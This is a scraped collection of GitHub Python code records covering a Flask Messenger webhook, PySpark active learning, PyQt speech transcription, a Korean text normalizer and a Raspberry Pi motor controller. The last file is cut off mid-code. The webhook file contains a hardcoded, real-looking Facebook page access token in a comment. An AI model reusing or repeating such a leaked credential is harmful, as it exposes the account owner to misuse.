u=u+np.conjugate(np.transpose(u))\n return u\n","repo_name":"rmnfournier/DMET","sub_path":"DMET/DMET_solver.py","file_name":"DMET_solver.py","file_ext":"py","file_size_in_byte":13496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35835947564","text":"# _*_ coding: utf-8 _*_\n__author__ = \"bobo\"\n__date__ = \"2019/10/20 1:55\"\n\n\nclass Solution:\n \"\"\"\n @param nums: a rotated sorted array\n @return: the minimum number in the array\n \"\"\"\n\n def findMin(self, nums):\n # write your code here\n if len(nums) == 1:\n return nums[0]\n if nums[0] < nums[-1]:\n return nums[0]\n else:\n i = len(nums) // 2\n return min(self.findMin(nums[:i]), self.findMin(nums[i:]))\n","repo_name":"lin-bobo/jianzhi_offer","sub_path":"寻找旋转排序数组中的最小值.py","file_name":"寻找旋转排序数组中的最小值.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36207439250","text":"from keras.models import load_model\nimport numpy as np\n\nhead_labels = ['head_beanie', 'head_cap', 'head_empty']\nshirt_labels = ['shirt_hoodie', 'shirt_long-sleeve', 'shirt_t-shirt']\njacket_labels = ['jacket_empty', 'jacket_light', 'jacket_winter']\npants_labels = ['pants_pants', 'pants_shorts', 'pants_snow-pants']\nshoes_labels = ['shoes_boots', 'shoes_rain-boots', 'shoes_sandals', 'shoes_sneakers']\numbrella_labels = ['umbrella_False', 'umbrella_True']\n\ndef getRecommended(params):\n # Load the saved model\n head_model = load_model('trained/head-m.h5')\n shirt_model = load_model('trained/shirt-m.h5')\n jacket_model = load_model('trained/jacket-m.h5')\n pants_model = load_model('trained/pants-m.h5')\n shoes_model = load_model('trained/shoes-m.h5')\n umbrella_model = load_model('trained/umbrella-m.h5')\n # Generate predictions\n\n raw_head = np.argmax(head_model.predict(params), axis=-1).tolist()\n raw_shirt = np.argmax(shirt_model.predict(params), axis=-1).tolist()\n raw_jacket = np.argmax(jacket_model.predict(params), axis=-1).tolist()\n raw_pants = np.argmax(pants_model.predict(params), axis=-1).tolist()\n raw_shoes = np.argmax(shoes_model.predict(params), axis=-1).tolist()\n raw_umbrella = np.argmax(umbrella_model.predict(params), axis=-1).tolist()\n\n head_predicted = [head_labels[i] for i in raw_head]\n shirt_predicted = [shirt_labels[i] for i in raw_shirt]\n jacket_predicted = [jacket_labels[i] for i in raw_jacket]\n pants_predicted = [pants_labels[i] for i in raw_pants]\n shoes_predicted = [shoes_labels[i] for i in raw_shoes]\n umbrella_predicted = [umbrella_labels[i] for i in raw_umbrella]\n\n predictions = head_predicted + shirt_predicted + jacket_predicted + pants_predicted + shoes_predicted + umbrella_predicted\n return predictions\n\n","repo_name":"SierraWeatherApp/RecommenderNN-Flask","sub_path":"app/trainedModels.py","file_name":"trainedModels.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19844801398","text":"from fairseq.models import register_model, register_model_architecture\nfrom fairseq.models.transformer import (\n Embedding,\n TransformerModel,\n TransformerDecoder,\n base_architecture as transformer_base_architecture\n)\n\nfrom .tagged_model import TaggedModel, TaggedDecoder\n\n@register_model('tagged_transformer')\nclass TaggedTransformerModel(TaggedModel, TransformerModel):\n embedding = Embedding\n\n @classmethod\n def build_decoder(cls, args, tgt_dict, embed_tokens):\n return TaggedTransformerDecoder(\n args,\n tgt_dict,\n embed_tokens,\n no_encoder_attn=getattr(args, \"no_cross_attention\", False),\n )\n\n\nclass TaggedTransformerDecoder(TaggedDecoder, TransformerDecoder):\n def __init__(self, args, dictionary, embed_tokens, no_encoder_attn=False):\n super().__init__(args, dictionary, embed_tokens, no_encoder_attn=no_encoder_attn)\n super().init_tagged_output(args, dictionary, embed_tokens)\n\n def projection(self, args, dictionary):\n output_layer = nn.Linear(self.output_embed_dim, dictionary.nspecial + sum(dictionary.factors), bias=False)\n nn.init.normal_(output_layer.weight, mean=0, std=self.output_embed_dim ** -0.5)\n return output_layer\n\n\n@register_model_architecture(\"tagged_transformer\", \"tagged_transformer\")\ndef base_architecture(args):\n transformer_base_architecture(args)\n","repo_name":"compwiztobe/tagged-seq2seq","sub_path":"tagged-seq2seq/tagged_transformer.py","file_name":"tagged_transformer.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"25922404484","text":"import os, sys\nfrom flask import Flask, request\nfrom pymessenger import Bot\n\napp = Flask(__name__)\n\n\n# webhook_ngrok = \"https://c09f914c.ngrok.io \"\n\n# PAGE_ACCESS_TOKEN_paness = \"EAACvI9ZCer2kBAIQbQQZAU94QEfpAtGb3q0dt8pWZCtrCdifZBFkaUbpZBivddN2uRprkkhw6rMh5nmtvZAZBrOPUoNKZB0hhyO6WZCOFzn9CQmR89Xh1ZAQdkJI1jCvIJmpYKd0C91dYErpeDaZCXOuyD78HRfcjG177zTDCKj7hwPIaLpgWB8Sk8o17CZCzZAj5Sz0ZD\"\n\n# Bot object\n# bot = Bot(PAGE_ACCESS_TOKEN)\n\n@app.route('/', methods=['GET'])\ndef verify():\n\t# Webhook verification\n\tif request.args.get(\"hub.mode\") == \"subscribe\" and request.args.get(\"hub.challenge\"):\n\n\t\tif not request.args.get(\"hub.verify_token\") == \"696000793\":\n\t\t\treturn \"Verification token mismatch\", 403\n\t\treturn request.args[\"hub.challenge\"], 200\n\treturn \"Hello World me again\", 200\n\n\n\n# writing a new view\n\n@app.route('/', methods=[\"POST\"])\n\ndef webhook():\n\t# get data from the chat on messenger\n\tdata = request.get_json()\n\n\t# print the log on the screen\n\tlog(data)\n\n\t# if data['object'] == 'page':\n\t# \tfor entry in data['entry']:\n\t# \t\tfor messaging_event in entry['messaging']:\n\t# \t\t\t# IDs\n\t# \t\t\tsender_id = messaging_event['sender']['id']\n\t# \t\t\trecipient_id = messaging_event['recipient']['id']\n\n\t# \t\t\tif messaging_event.get('message'):\n\t# \t\t\t\tif 'text' in messaging_event['message']:\n\t# \t\t\t\t\tmessaging_text = messaging_event['message']['text']\n\t# \t\t\t\telse:\n\t# \t\t\t\t\tmessaging_text = \"no text\"\n\n\t# \t\t\t\t# Echo\n\t# \t\t\t\tresponse = messaging_text\n\n\t# \t\t\t\tbot.send_text_message(sender_id, response)\n\n\n\treturn \"ok\", 200\n\n\n\n\n\ndef log(message):\n\n\tprint(message)\t\n\t# print the complete message stored in the buffer\n\tsys.stdout.flush()\n\nif __name__ == \"__main__\":\n\tapp.run(debug = True, port = 80)\n\n\n\n# nosj = {'object': 'page', 'entry': [{'id': '1173165799481941', 'time': 1512761803869, 'messaging': [{'sender': {'id': '1529452990495272'}, 'recipient': {'id': '1173165799481941'}, 'timestamp': 1512761803856, 'read': {'watermark': 1512761802128, 'seq': 0}}]}]}\n\n","repo_name":"patricksile/code_folder","sub_path":"IIHT/Software Engineering/Projects/Python/coffee_bot/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1534517467","text":"from server import Server\nfrom db_handler import DBHandler\nimport sys\n\nstatus = str(sys.argv[1]) # Argument for whether the server is initialized as \"active\" or \"inactive\"\nport = int(sys.argv[2]) # Argument for where we would like to set the Port of this server\nhost_backup = str(sys.argv[3]) # Argument for IP of the other server\nport_backup = int(sys.argv[4]) # Argument for Port of the other server\n\n# This script creates a server object\n# The server object initializes the log file, and other information (passed through command line)\nserver = Server()\nserver.initialize_log_file()\nserver.server_initialize(status, port, host_backup, port_backup)\nserver.create_socket()\nserver.bind_socket()\nserver.run()","repo_name":"DLabbate/register-share-system","sub_path":"server_script.py","file_name":"server_script.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"18832352585","text":"from pyspark.sql import SparkSession\nfrom debugger import Debugger\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.mllib.regression import LabeledPoint\nfrom pyspark.mllib.tree import RandomForest, RandomForestModel\nfrom pyspark.mllib.tree import DecisionTreeModel\nfrom pyspark.mllib.util import MLUtils\nfrom pyspark.mllib.linalg import SparseVector, DenseVector\nfrom sklearn.preprocessing import normalize\nfrom pyspark.mllib.linalg.distributed import IndexedRow, IndexedRowMatrix, BlockMatrix, MatrixEntry, RowMatrix, CoordinateMatrix\nfrom pyspark.mllib.linalg import Matrix, Matrices, DenseMatrix\nfrom pyspark.mllib.feature import Normalizer\nimport numpy as np\n# setup spark context and config\nconf = SparkConf().setAppName(\"labeledPoints\")\nsc = SparkContext(conf=conf)\nsc.setLogLevel(\"ERROR\")\n\ndebug = Debugger()\ndebug.TIMESTAMP(1)\nspark = SparkSession(sc)\n\n\n\n\n\n\n\n''' tunable parameters '''\nn_samples = 5000\nwindow_size = 10\nn_estimators = 10\nbeta = 1\n\n\n\n\n\n\n\n\n\n\n''' for striatum data only '''\ntrain = sc.textFile('hdfs://node1:9000/input/striatum_train_mini.txt')\n\ntrain = sc.parallelize(train.take(n_samples))\n\ntrain = train.map(lambda _ : _.strip().split())\ntrain = train.map(lambda _ : LabeledPoint(0 if int(_[-1]) == -1 else 1, np.array(_[:-1]).astype(float)))\ntest = sc.textFile('hdfs://node1:9000/input/striatum_test_mini.txt')\ntest = test.map(lambda _ : _.strip().split())\ntest = test.map(lambda _ : LabeledPoint(0 if int(_[-1]) == -1 else 1, np.array(_[:-1]).astype(float)))\n\n\n\n\n''' proximity matrix construction '''\ndata = sc.textFile('hdfs://node1:9000/input/striatum_train_mini.txt')\n\n''' 1000 ta nilam time kom '''\ndata = sc.parallelize(data.take(n_samples))\n\n\ndata = data.map(lambda _ : np.array(_.strip().split()[:-1]).astype(float))\ndata = data.map(lambda _ : _/np.linalg.norm(_))\nU = data.zipWithIndex().map(lambda _ : IndexedRow(_[1], _[0]))\nU = IndexedRowMatrix(U)\nUT = U.toCoordinateMatrix()\nUT = UT.transpose()\nU = U.toBlockMatrix()\nUT = UT.toBlockMatrix()\nS = U.multiply(UT)\nS_coord = S.toCoordinateMatrix()\nsimilarities = S_coord.entries\n\n\nprint('matrix done!')\n\n\n\n\ntrain = train.zipWithIndex()\nkeyfirst_train = train.map(lambda _: (_[1], _[0]))\nn_total = train.count()\nprint('n_total = ', n_total)\nprint('sim = ', similarities.count())\n\nlabeled_indices = sc.parallelize([(x, 0) for x in range(0, window_size)])\nunlabeled_indices = sc.parallelize([(x, 0) for x in range(window_size, n_total)])\n\nsimilarities = similarities.map(lambda _: (_.i, _.j, _.value))\n\n\n''' for the sake of query planning we are taking an empty rdd '''\nrdd = sc.parallelize([])\nfor li in labeled_indices.collect():\n mark_labeled = li[0]\n rdd = rdd.union(similarities.filter(lambda _: _[0] == mark_labeled or _[1] == mark_labeled))\nsimilarities = similarities.subtract(rdd)\n\n\n\n\n\ncnt = 1\n\n''' loop producing labelling sequence '''\nwhile True:\n labeled_data = labeled_indices.leftOuterJoin(keyfirst_train).map(lambda _: (_[1][1], _[0]))\n unlabeled_data = unlabeled_indices.leftOuterJoin(keyfirst_train).map(lambda _: (_[1][1], _[0]))\n\n print('labeled = ', labeled_indices.count(), ' unlabeled = ', unlabeled_indices.count())\n\n if unlabeled_indices.isEmpty() :\n break\n\n\n model = RandomForest.trainClassifier(labeled_data.map(lambda _: _[0]),\n numClasses=2,\n categoricalFeaturesInfo={},\n numTrees=n_estimators,\n featureSubsetStrategy=\"auto\",\n impurity='gini')\n\n\n ''' accuracy test on testset here'''\n predictions = model.predict(test.map(lambda x: x.features))\n labelsAndPredictions = test.map(lambda lp: lp.label).zip(predictions)\n testErr = labelsAndPredictions.filter(lambda _ : _[0] != _[1])\n\n\n n_unlabeled = unlabeled_data.count()\n\n\n rdd = sc.parallelize([])\n for tree in model._java_model.trees():\n predX = DecisionTreeModel(tree).predict(unlabeled_data.map(lambda _ : _[0].features))\\\n .zipWithIndex()\\\n .map(lambda _: (_[1], _[0]))\n rdd = rdd.union(predX)\n\n\n classPrediction = rdd.groupByKey().mapValues(sum)\n classPrediction = classPrediction.sortByKey()\n\n ''' real entropies are taken ; diffierent than US implementation '''\n entropies = classPrediction.map(lambda _: - (1-(_[1]/n_estimators)) * np.log2((1-(_[1]/n_estimators))))\n\n ''' base strategy => uncertainty sampling '''\n unlabeled_entropies = unlabeled_indices.map(lambda _: _[0])\\\n .zipWithIndex()\\\n .map(lambda _: (_[1], _[0]))\\\n .leftOuterJoin(entropies.zipWithIndex().map(lambda _:(_[1], _[0])))\\\n .map(lambda _:_[1])\n\n ''' similarity calculation using proximity matrix values '''\n unlabeled_similarities = unlabeled_indices.leftOuterJoin(similarities.map(lambda _:(_[0] , _[2])))\\\n .map(lambda _:(_[0], _[1][0]+_[1][1]))\\\n .groupByKey()\\\n .mapValues(sum)\n\n\n\n\n ''' information density values '''\n unlabeled_heuristic_values = unlabeled_entropies.leftOuterJoin(unlabeled_similarities).map(lambda _:(_[0], _[1][0]*_[1][1]))\n sorted_heuristic_values = unlabeled_heuristic_values.sortBy(lambda _: _[1],ascending=False)\n\n print(sorted_heuristic_values.take(10))\n ''' taking chunk of samples with maximum heuristic value '''\n add_to_labeled_set = sc.parallelize(sorted_heuristic_values.take(window_size))\n\n ''' updating the unlabeled and labeled indices sets '''\n unlabeled_indices = unlabeled_indices.subtractByKey(add_to_labeled_set)\n labeled_indices = labeled_indices.union(add_to_labeled_set.map(lambda _: (_[0], 0)))\n\n print('Iteration ', cnt, ' -- accu = ', (1- (testErr.count() / test.count()))*100)\n cnt += 1\n\n\ndebug.TIMESTAMP(2)\n","repo_name":"dv66/Distributed-Active-Learning","sub_path":"final_thesis/density_weighting.py","file_name":"density_weighting.py","file_ext":"py","file_size_in_byte":5799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36000048385","text":"from PyQt5 import QtCore, QtGui, QtWidgets, uic\nfrom PyQt5.QtGui import QMovie\nimport time\nimport RPi.GPIO as GPIO\nfrom WarningD import WarningD\nimport qtmodern.styles\nimport qtmodern.windows\nfrom Privacy import Privacy\nfrom Font import Font\nfrom Googlesample import ResumableMicrophoneStream\nimport math\nfrom google.cloud import speech\nimport pyaudio\nimport audioop\nfrom pyqtgraph import PlotWidget, plot\nimport pyqtgraph as pg\nfrom PyQt5.QtCore import Qt, QObject\nfrom PyQt5.QtWidgets import (\n QApplication,\n QLabel,\n QMainWindow,\n QPushButton,\n QVBoxLayout,\n QWidget,\n QDialog\n)\n\nDECIBELLIMIT = 90\nALLOWEDRECORD = True\nSTARTDECIBEL = 0\n\nGPIO.setwarnings(False)\n\nMOTORPIN = 21\nHz = 100\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(MOTORPIN, GPIO.OUT)\nMOTOR = GPIO.PWM(MOTORPIN, Hz)\nMOTOR.start(0)\n\ndef writeFile(text):\n text_file = open(\"transcript.txt\", \"a+\")\n text_file.write(text)\n text_file.close()\n\ndef get_current_time():\n\n return int(round(time.time() * 1000))\n\ndef getDecibel(stream):\n data = stream.read(1600)\n rms = audioop.rms(data, 2)\n decibel = 20 * math.log10(rms+1)\n return decibel\n\nclass Retreiver(QObject):\n\n newData = QtCore.pyqtSignal(int)\n overLimit = QtCore.pyqtSignal()\n\n def wait(self):\n global DECIBELLIMIT,ALLOWEDRECORD\n\n audio = pyaudio.PyAudio()\n\n stream = audio.open(format = pyaudio.paInt16,rate = 44100, input = True, channels = 1,\n frames_per_buffer=1600)\n\n stream.start_stream()\n startTime = 0\n\n while True:\n\n decibels = getDecibel(stream)\n if (decibels > STARTDECIBEL):\n ALLOWEDRECORD = True\n else:\n ALLOWEDRECORD = False\n if (decibels > DECIBELLIMIT and round(time.time() - startTime) > 5):\n self.overLimit.emit()\n startTime = time.time()\n self.newData.emit(round(decibels))\n time.sleep(0.1)\n\n \nclass Listener(QObject):\n\n textHere = QtCore.pyqtSignal(str)\n stop = False\n\n def monitor(self):\n\n global STARTDECIBEL,ALLOWEDRECORD\n \n client = speech.SpeechClient.from_service_account_json(\"C:\\Git Repos\\speechv1\\hearmi-f5db2cd0d8b8.json\")\n config = speech.RecognitionConfig(\n\n encoding=speech.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=16000,\n language_code=\"en-US\",\n max_alternatives=1,\n )\n\n streaming_config = speech.StreamingRecognitionConfig(\n config=config, interim_results=True\n )\n\n mic_manager = ResumableMicrophoneStream(16000, int(16000 / 10))\n\n currentText = \"\"\n totalText = \"\"\n lines = 0\n\n with mic_manager as stream:\n\n while not stream.closed:\n\n stream.audio_input = []\n audio_generator = stream.generator()\n\n requests = (\n speech.StreamingRecognizeRequest(audio_content=content)\n for content in audio_generator\n )\n responses = client.streaming_recognize(streaming_config, requests)\n\n for response in responses:\n\n if (self.stop == True):\n writeFile(totalText)\n stream.closed = True\n break\n\n if get_current_time() - stream.start_time > 240000:\n stream.start_time = get_current_time()\n break\n\n if not response.results:\n continue\n\n result = response.results[0]\n\n if not result.alternatives:\n continue\n\n transcript = result.alternatives[0].transcript\n\n if result.is_final and ALLOWEDRECORD:\n if (lines == 8):\n currentText = \" \"\n lines = 0\n currentText += transcript + \"\\n\"\n totalText+= transcript\n lines+=1\n \n self.textHere.emit(currentText)\n\n if stream.result_end_time > 0:\n stream.final_request_end_time = stream.is_final_end_time\n stream.result_end_time = 0\n stream.last_audio_input = []\n stream.last_audio_input = stream.audio_input\n stream.audio_input = []\n stream.restart_counter = stream.restart_counter + 1\n \n stream.new_stream = True\n currentText = \"\"\n\nclass Window(QWidget):\n\n def __init__(self):\n global DECIBELLIMIT, STARTDECIBEL\n\n super(Window,self).__init__()\n uic.loadUi('Main.ui', self)\n self.pushButton_2.clicked.connect(self.startListening)\n self.pushButton.clicked.connect(self.stopTranscribe)\n self.pushButton_4.clicked.connect(self.openFont)\n self.pushButton_5.clicked.connect(self.openPrivacy)\n\n self.movie = QMovie(\"fload.gif\")\n self.label_3.setMovie(self.movie)\n self.movie.start()\n self.label_4.hide()\n self.label_3.hide()\n\n self.graphWidget = pg.PlotWidget()\n self.graphWidget.setLabel(\"left\", \"Decibels(dB)\")\n self.graphWidget.setLabel(\"bottom\", \"Seconds(s)\")\n layout = QVBoxLayout()\n layout.addWidget(self.graphWidget)\n self.groupBox_3.setLayout(layout)\n self.x = [0]\n self.y = [40]\n self.graphWidget.setBackground('w')\n pen = pg.mkPen(color=(255, 0, 0))\n self.data_line = self.graphWidget.plot(self.x, self.y, pen=pen)\n self.startGraph()\n\n self.privacyDialog = QtWidgets.QDialog()\n self.privacyUI = Privacy()\n self.privacyUI.setupUi(self.privacyDialog)\n DECIBELLIMIT = 90\n self.privacyUI.spinBox_3.setValue(DECIBELLIMIT)\n STARTDECIBEL = 0\n self.privacyUI.spinBox.setValue(STARTDECIBEL)\n self.privacyUI.buttonBox.accepted.connect(self.savePrivacy)\n self.privacyUI.buttonBox.rejected.connect(lambda:self.privacyDialog.hide())\n self.fontDialog = QtWidgets.QDialog()\n self.fontUI = Font()\n self.fontUI.setupUi(self.fontDialog)\n self.font = \"Microsoft YaHei UI\"\n self.fontSize = 14\n self.fontUI.spinBox.setValue(self.fontSize)\n self.fontUI.fontComboBox.setCurrentText(self.font)\n self.fontUI.buttonBox.accepted.connect(self.saveFont)\n self.fontUI.buttonBox.rejected.connect(lambda:self.fontDialog.hide())\n \n def savePrivacy(self):\n global DECIBELLIMIT, STARTDECIBEL\n DECIBELLIMIT = self.privacyUI.spinBox_3.value()\n STARTDECIBEL = self.privacyUI.spinBox.value()\n self.privacyDialog.hide()\n \n def saveFont(self):\n self.font = self.fontUI.fontComboBox.currentText()\n self.fontSize = self.fontUI.spinBox.value()\n self.label.setFont(QtGui.QFont(self.font,self.fontSize))\n self.fontDialog.hide()\n\n def openPrivacy(self):\n self.privacyDialog.show()\n\n def openFont(self):\n self.fontDialog.show()\n\n def startListening(self):\n self.listener = Listener()\n self.thread = QtCore.QThread(self)\n self.listener.moveToThread(self.thread)\n self.listener.textHere.connect(self.labelCb)\n self.thread.started.connect(self.listener.monitor)\n self.thread.start()\n self.pushButton_2.setDisabled(True)\n self.pushButton.setDisabled(False)\n self.label_4.show()\n self.label_3.show()\n self.listener.stop = False\n\n def labelCb(self, trancribedText):\n self.label.setText(trancribedText)\n\n def startGraph(self):\n self.retriever = Retreiver()\n self.thread = QtCore.QThread(self)\n self.retriever.moveToThread(self.thread)\n self.retriever.newData.connect(self.graphicCb)\n self.retriever.overLimit.connect(self.openWarning)\n self.thread.started.connect(self.retriever.wait)\n self.thread.start()\n\n def openWarning(self):\n self.motorCb()\n dialog = QtWidgets.QDialog()\n ui = WarningD()\n ui.setupUi(dialog)\n dialog.exec_()\n\n def motorCb(self):\n MOTOR.ChangeDutyCycle(100)\n time.sleep(1)\n MOTOR.ChangeDutyCycle(0)\n\n def graphicCb(self, de):\n\n if (len(self.x) == 100):\n self.x = self.x[1:]\n \n self.x.append(self.x[-1] + 0.1)\n\n if (len(self.y) == 100):\n self.y = self.y[1:]\n self.y.append(de)\n\n self.data_line.setData(self.x, self.y)\n\n\n def stopTranscribe(self):\n self.label.setText(\"\")\n self.pushButton_2.setDisabled(False)\n self.pushButton.setDisabled(True)\n self.thread.terminate()\n self.label_4.hide()\n self.label_3.hide()\n self.listener.stop = True\n\n\nif __name__ == \"__main__\":\n import sys\n app = QApplication(sys.argv)\n win = Window()\n qtmodern.styles.light(app)\n container = qtmodern.windows.ModernWindow(win)\n container.show()\n sys.exit(app.exec_())\n\n","repo_name":"wh0821/HearU","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":9271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"10024528690","text":"#-*- coding: utf-8 -*-\n\nfrom patterns import *\nfrom normalization_rules import *\nfrom DictionaryMissException import DictionaryMissException\n\ndef normalize(text):\n text = text.strip() #문자열 양쪽에 있는 한 칸 이상의 연속된 공백들을 모두 지운다.\n text = normalize_unit(text)\n text = normalize_number(text)\n text = normalize_english(text)\n text = normalize_dictionary_miss_alphabet(text);\n text = normalize_chinese(text);\n # if include_alphabet(text) != None:\n # raise DictionaryMissException(text)\n return text\n\ndef include_alphabet(text):\n result = re.match('[a-zA-Z]+', text)\n return result\n\ndef normalize_with_dictionary(text, dic):\n if any(key in text for key in dic.keys()):\n pattern = re.compile('|'.join(re.escape(key) for key in dic.keys()))\n return pattern.sub(lambda x: dic[x.group()], text)\n else:\n return text\n\ndef normalize_english(text):\n def fn(m):\n word = m.group()\n word = word.upper()\n if word in english_dictionary:\n return english_dictionary.get(word)\n else:\n return word\n text = re.sub(\"([A-Za-z]+)\", fn, text)\n return text\n\ndef normalize_dictionary_miss_alphabet(text):\n text = re.sub(alphabet_pattern,\n lambda x:alphabet_to_korean(x), text);\n return text\n\ndef normalize_chinese(text):\n text = re.sub(chinese_pattern,\n lambda x:chinese_to_korean(x), text);\n return text;\n\n'''\n숫자 뒤에 unit 토큰이 오면 숫자는 냅두고 unit 토큰만 normalize한다.\n이렇게 하는 이유는 'm'같은 토큰의 경우 \nalphabet normalize를 number normalize보다 먼저하면 m을 미터로 읽을 방법이 없고\nnumber normalize를 먼저하고 이 때 알파벳 unit을 normalize를 해버리면 문자열에 필요한 m이었어도 미터로 읽어버린다.\n'''\ndef normalize_unit(text):\n text = re.sub(number_pattern + eng_unit_pattern,\n lambda x:unit_to_korean(x, True), text)\n text = re.sub(number_pattern + other_unit_pattern,\n lambda x:unit_to_korean(x, False), text)\n return text\n\n\ndef normalize_number(text):\n text = normalize_with_dictionary(text, etc_dictionary)\n text = re.sub(number_pattern + count_pattern,\n lambda x: number_to_korean(x, True), text)\n text = re.sub(number_pattern,\n lambda x: number_to_korean_no_unit(x), text)\n return text","repo_name":"hash2430/korean_text_normalizer","sub_path":"korean.py","file_name":"korean.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"30584669503","text":"#Gets data from server, but button needs to be coded for a single button sent to client\r\nfrom gpiozero import PWMOutputDevice\r\nimport bluetooth\r\nimport multiprocessing\r\nimport RPi.GPIO as GPIO\r\nimport time\r\nimport random\r\nGPIO.setmode(GPIO.BCM)\r\nGPIO.setwarnings(False)\r\nGPIO.setup(19,GPIO.OUT)\r\nGPIO.setup(26,GPIO.OUT)\r\nGPIO.setup(16,GPIO.OUT)\r\nGPIO.setup(20,GPIO.OUT)\r\nGPIO.setup(21,GPIO.OUT)\r\nGPIO.setup(23,GPIO.IN,pull_up_down=GPIO.PUD_DOWN)\r\nmotor1 = GPIO.PWM(19,1000)\r\nmotor2 = GPIO.PWM(26,1000)\r\nmotor3 = GPIO.PWM(16,1000)\r\nmotor4 = GPIO.PWM(20,1000)\r\nmotor5 = GPIO.PWM(21,1000)\r\nmotor1.start(0)\r\nmotor2.start(0)\r\nmotor3.start(0)\r\nmotor4.start(0)\r\nmotor5.start(0)\r\ncount = -1\r\ngp1 = [motor1,motor2,motor3]\r\ngp2 = [motor1,motor2,motor4]\r\ngp3 = [motor1,motor2,motor5]\r\ngp4 = [motor1,motor3,motor4]\r\ngp5 = [motor1,motor3,motor5]\r\ngp6 = [motor1,motor4,motor5]\r\ngp7 = [motor2,motor3,motor4]\r\ngp8 = [motor2,motor3,motor5]\r\ngp9 = [motor2,motor4,motor5]\r\ngp10 = [motor3,motor4,motor5]\r\nrandnum = 0\r\nglobal data\r\ndata = 0\r\nbuffer = 0\r\npreviousData = 0\r\n\r\n\r\n\r\n\r\n\r\n#///////////////////// Functions //////////////////////////////////\r\ndef motors_set(level):\r\n motor1.ChangeDutyCycle(level)\r\n motor2.ChangeDutyCycle(level)\r\n motor3.ChangeDutyCycle(level)\r\n motor4.ChangeDutyCycle(level)\r\n motor5.ChangeDutyCycle(level)\r\n \r\ndef button_callback(channel):\r\n global data\r\n data = data\r\n print(\"Button was pushed\")\r\n print(\"data:\",data)\r\n if data == \"2\": #if currently flashing, turn off\r\n print(\"you are hereeeee\")\r\n p1.terminate()\r\n Off([motor1,motor2,motor3,motor4,motor5])\r\n elif data == \"3\": #if currently random, turn off\r\n p2.terminate()\r\n Off([motor1,motor2,motor3,motor4,motor5])\r\n global count\r\n count = count+1\r\n print(\"COUNT:\",count)\r\n if count == 0:\r\n motors_set(0)\r\n elif count == 1:\r\n motors_set(25)\r\n elif count == 2:\r\n motors_set(50)\r\n elif count == 3:\r\n motors_set(75)\r\n elif count == 4:\r\n motors_set(100)\r\n else:\r\n count = 0\r\n motors_set(0)\r\n print(\"Counter Reset\", count)\r\n data = \"4\"\r\n \r\ndef On(cluster):\r\n for x in cluster:\r\n x.stop()\r\n x.start(50)\r\n\r\ndef Off(cluster):\r\n for x in cluster:\r\n x.stop()\r\n x.start(0)\r\n\r\ndef groupFlash(group):\r\n On(group)\r\n time.sleep(.5)\r\n Off(group)\r\n\r\n\r\n\r\n\r\n#//////////////////// Multiprocessing Processes (modes) ////////////////////////\r\ndef flashing():\r\n while True:\r\n motor1.start(0)\r\n motor2.start(0)\r\n motor3.start(0)\r\n motor4.start(0)\r\n motor5.start(0)\r\n for x in range(75):\r\n motor1.ChangeDutyCycle(x)\r\n motor2.ChangeDutyCycle(x)\r\n motor3.ChangeDutyCycle(x)\r\n motor4.ChangeDutyCycle(x)\r\n motor5.ChangeDutyCycle(x)\r\n time.sleep(.3)\r\n for x in range(75):\r\n motor1.ChangeDutyCycle(75-x)\r\n motor2.ChangeDutyCycle(75-x)\r\n motor3.ChangeDutyCycle(75-x)\r\n motor4.ChangeDutyCycle(75-x)\r\n motor5.ChangeDutyCycle(75-x)\r\n time.sleep(.3)\r\n \r\ndef randomFlashing():\r\n while True:\r\n motor1.start(0)\r\n motor2.start(0)\r\n motor3.start(0)\r\n motor4.start(0)\r\n motor5.start(0)\r\n r1 = random.randrange(1, 10)\r\n if r1 == 1:\r\n groupFlash(gp1)\r\n if r1 == 2:\r\n groupFlash(gp2)\r\n if r1 == 3:\r\n groupFlash(gp3)\r\n if r1 == 4:\r\n groupFlash(gp4)\r\n if r1 == 5:\r\n groupFlash(gp5)\r\n if r1 == 6:\r\n groupFlash(gp6)\r\n if r1 == 7:\r\n groupFlash(gp7)\r\n if r1 == 8:\r\n groupFlash(gp8)\r\n if r1 == 9:\r\n groupFlash(gp9)\r\n if r1 == 10:\r\n groupFlash(gp10)\r\n \r\n\r\n\r\n\r\n#///////////////////// Bluetooth Server ///////////////////////////\r\nbd_addr = \"B8:27:EB:4A:87:B9\" #bluetooth address of master pi\r\nport = 1 # Raspberry Pi uses port 1 for Bluetooth Communication\r\n# Creaitng Socket Bluetooth RFCOMM communication\r\n\r\nserver = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\r\nprint('Bluetooth Socket Created')\r\nGPIO.add_event_detect(23,GPIO.RISING,callback=button_callback,bouncetime=200)\r\ntry:\r\n server.connect((bd_addr, port))\r\n print(\"Bluetooth Connection Completed\")\r\nexcept:\r\n print(\"Bluetooth Connection Failed\")\r\n\r\n\r\ntry:\r\n On([motor1,motor2,motor3,motor4,motor5])\r\n time.sleep(.1)\r\n Off([motor1,motor2,motor3,motor4,motor5])\r\n while True:\r\n buffer = server.recv(1024)\r\n if (data != buffer):\r\n previousData = data\r\n data = buffer\r\n count = 0\r\n \r\n \r\n \r\n#/////////// ON //////////////////////////////////////////////////////\r\n if data == \"1\":\r\n if previousData == \"2\":\r\n p1.terminate()\r\n 